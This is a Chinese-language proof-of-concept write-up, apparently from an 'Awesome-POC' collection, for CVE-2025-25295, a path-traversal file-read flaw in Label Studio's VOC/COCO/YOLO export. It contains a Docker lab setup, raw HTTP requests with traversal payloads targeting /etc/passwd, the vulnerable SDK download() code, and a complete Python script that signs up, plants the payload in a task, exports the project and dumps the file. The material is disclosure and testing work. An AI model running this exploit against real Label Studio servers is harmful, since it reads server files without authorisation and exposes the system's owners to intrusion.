Files
Awesome-POC/人工智能漏洞/Label Studio 任意文件读取漏洞 CVE-2025-25295.md
2025-11-17 10:27:20 +08:00

8.8 KiB
Raw Permalink Blame History

Label Studio 任意文件读取漏洞 CVE-2025-25295

漏洞描述

Label Studio 是一款开源数据标注工具。它拥有简洁易用的用户界面,支持标注音频、文本、图像、视频和时间序列等多种数据类型,并可导出为多种模型格式。它可用于准备原始数据或改进现有训练数据,从而获得更精准的机器学习模型。

Label Studio SDK 1.0.10 之前的版本存在路径遍历漏洞,允许未经授权访问预期目录结构之外的文件。该漏洞存在于 VOC、COCO 和 YOLO 导出功能中,这些功能会调用 label-studio-sdk Python 包中的 download 函数,该函数处理图像引用时未能验证文件路径。Label Studio 1.16.0 之前的版本指定了 1.0.10 之前的 SDK 版本作为依赖项,用户应升级到 1.16.0 或更高版本以缓解此问题。

参考链接:

漏洞影响

Label Studio SDK < 1.0.10

环境搭建

执行如下命令启动一个 Label Studio 1.10.0 服务:

docker pull heartexlabs/label-studio:1.10.0
docker run -it -p 8080:8080 -v $(pwd)/mydata:/label-studio/data heartexlabs/label-studio:1.10.0

服务启动后,可以在 ./mydata 目录中找到所有生成的资源,包括 SQLite3 数据库存储 label_studio.sqlite3 和上传的文件。访问 http://your-ip:8080/ 即可访问服务:

漏洞复现

注册账号并登录,新建一个带有图像配置标签的项目,在 Labeling Setup 中自定义,使用 Image 组件进行标注:

<View>
  <Image name="image" value="$image"/>
  <Text name="text" value="$text"/>
  <Choices name="choice" toName="image">
	<Choice value="yes"/>
	<Choice value="no"/>
  </Choices>
</View>

触发 is_uploaded_file 代码:

POST /api/projects/6/tasks HTTP/1.1
Host: 192.168.174.2:8080
Content-Type: application/json
Accept: */*
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, zstd
X-CSRFToken: 
Cookie: 
Content-Length: 84

{
  "data": {
    "text": "test",
    "image": "/data/upload/../../../../../etc/passwd"
  }
}

使用 VOC、YOLO 或 COCO 格式导出项目,服务器将返回一个 Zip 文件,例如:

GET /api/projects/6/export?exportType=VOC&download_all_tasks=true&download_resources=true HTTP/1.1
Host: 192.168.174.2:8080
Cache-Control: no-cache
Referer: http://192.168.174.2:8080/projects/2/data/export
Pragma: no-cache
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Cookie:

该漏洞是由于其导出功能调用了 label-studio-sdk Python 包中的 download 函数,该函数处理图像引用时未能验证文件路径:

def download(
    url,
    output_dir,
    filename=None,
    project_dir=None,
    return_relative_path=False,
    upload_dir=None,
    download_resources=True,
):
    is_local_file = url.startswith("/data/") and "?d=" in url
    is_uploaded_file = url.startswith("/data/upload")

    if is_uploaded_file:
        upload_dir = _get_upload_dir(project_dir, upload_dir)
        filename = urllib.parse.unquote(url.replace("/data/upload/", ""))
        filepath = os.path.join(upload_dir, filename)
        logger.debug(
            f"Copy {filepath} to {output_dir}".format(
                filepath=filepath, output_dir=output_dir
            )
        )
        if download_resources:
            shutil.copy(filepath, output_dir)
        if return_relative_path:
            return os.path.join(
                os.path.basename(output_dir), os.path.basename(filename)
            )
        return filepath

    if is_local_file:
        filename, dir_path = url.split("/data/", 1)[-1].split("?d=")
        dir_path = str(urllib.parse.unquote(dir_path))
        filepath = os.path.join(LOCAL_FILES_DOCUMENT_ROOT, dir_path)
        if not os.path.exists(filepath):
            raise FileNotFoundError(filepath)
        if download_resources:
            shutil.copy(filepath, output_dir)
        return filepath

漏洞 POC

import requests
from bs4 import BeautifulSoup
import io
import zipfile

BASE_URL = "http://xbow-app-1:8000"
USERNAME = "[email protected]"
PASSWORD = "Test123!@#"
METHOD = "is_uploaded_file" # Valid values: "is_uploaded_file" or "is_local_file"
EXPORT_TYPE = "VOC"         # Valid values: "VOC", "COCO" or "YOLO"

print("Signing up...")
url = "%s/user/signup/" % BASE_URL
session = requests.Session()

# First get the CSRF token
response = session.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']
print(f"Got CSRF token: {csrf_token}")

# Prepare registration data
data = {
    'csrfmiddlewaretoken': csrf_token,
    'email': USERNAME,
    'password': PASSWORD,
    'allow_newsletters': 'false',
    'allow_newsletters_visual': 'false'
}

headers = {
    'Referer': url,
    'Content-Type': 'application/x-www-form-urlencoded',
}

# Submit the registration request
response = session.post(url, data=data, headers=headers)
print(f"User registration response status code: {response.status_code}\n")

# Login
print("Logging in...")
url = "%s/user/login" % BASE_URL

# Attempt login with our credentials
login_data = {
    'csrfmiddlewaretoken': csrf_token,
    'email': USERNAME,
    'password': PASSWORD,
}

headers = {
    'Referer': url,
    'Content-Type': 'application/x-www-form-urlencoded',
}

response = session.post(url, data=login_data, headers=headers)

print(f"Login response status code: {response.status_code}")

# Check if we got any tokens in the response
print("\nCookies after login:")
for cookie in session.cookies:
    print(f"{cookie.name}: {cookie.value}")

# We will use these headers moving forward
headers = {
    'Content-Type': 'application/json',
    'X-CSRFToken': session.cookies['csrftoken']
}

# Creat a project to then create a task associated to it
print("\nCreating project...")
# Try to create a project with a file upload configuration
project_data = {
    "title": "File Upload Test",
    "description": "Testing file upload functionality",
    "label_config": """
    <View>
      <Image name="image" value="$image"/>
      <Text name="text" value="$text"/>
      <Choices name="choice" toName="image">
        <Choice value="yes"/>
        <Choice value="no"/>
      </Choices>
    </View>
    """
}
response = session.post("%s/api/projects/" % BASE_URL, json=project_data, headers=headers)
if response.status_code != 201:
    print("Problem creating project, aborting")
    exit(0)    
project_id = response.json()['id']
print(f"Project ID: {project_id}\n")

# Create task using a filename to later abuse a path traversal vulnerability during file export
print(f"Creating task with method {METHOD} (defaults to is_local_file)...")
task_data = {}
if (METHOD == "is_uploaded_file"):
    task_data["data"] = {
            "text": "test",
            "image": "/data/upload/../../../../../etc/passwd"    # Trigger for is_uploaded_file
    }
else:
    task_data["data"] = {
            "text": "test",
            "image": "/data/local-files/?d=../../../etc/passwd" # Trigger for is_local_file
    }
response = session.post(f"{BASE_URL}/api/projects/{project_id}/tasks", json=task_data, headers=headers)
if response.status_code != 201:
    print("Problem creating task, aborting")
    exit(0)    
task_id = response.json()['id']
print(f"Task created successfully, task id: {task_id}\n")

# Issue a dummy upload request to force the creation of the ~/data/images/upload folder
response = session.post(f"{BASE_URL}/api/projects/{project_id}/import?commit_to_project=false", files={"bar.png":"data"})

# Request the server to generate a zip with all of the project information and files (works for YOLO, COCO or VOC)
response = session.get(f"{BASE_URL}/api/projects/{project_id}/export?exportType={EXPORT_TYPE}&download_all_tasks=true&download_resources=true")
if (response.status_code != 200):
    print("Couldn't fetch export file")
    exit(0)

file_like_object = io.BytesIO(response.content)
zipfile_ob = zipfile.ZipFile(file_like_object)
print("Dumping /etc/passwd file contents:")
print(zipfile_ob.read("images/passwd").decode("utf-8"))

漏洞修复

  • 升级到 Label Studio 1.16.0 或更高版本。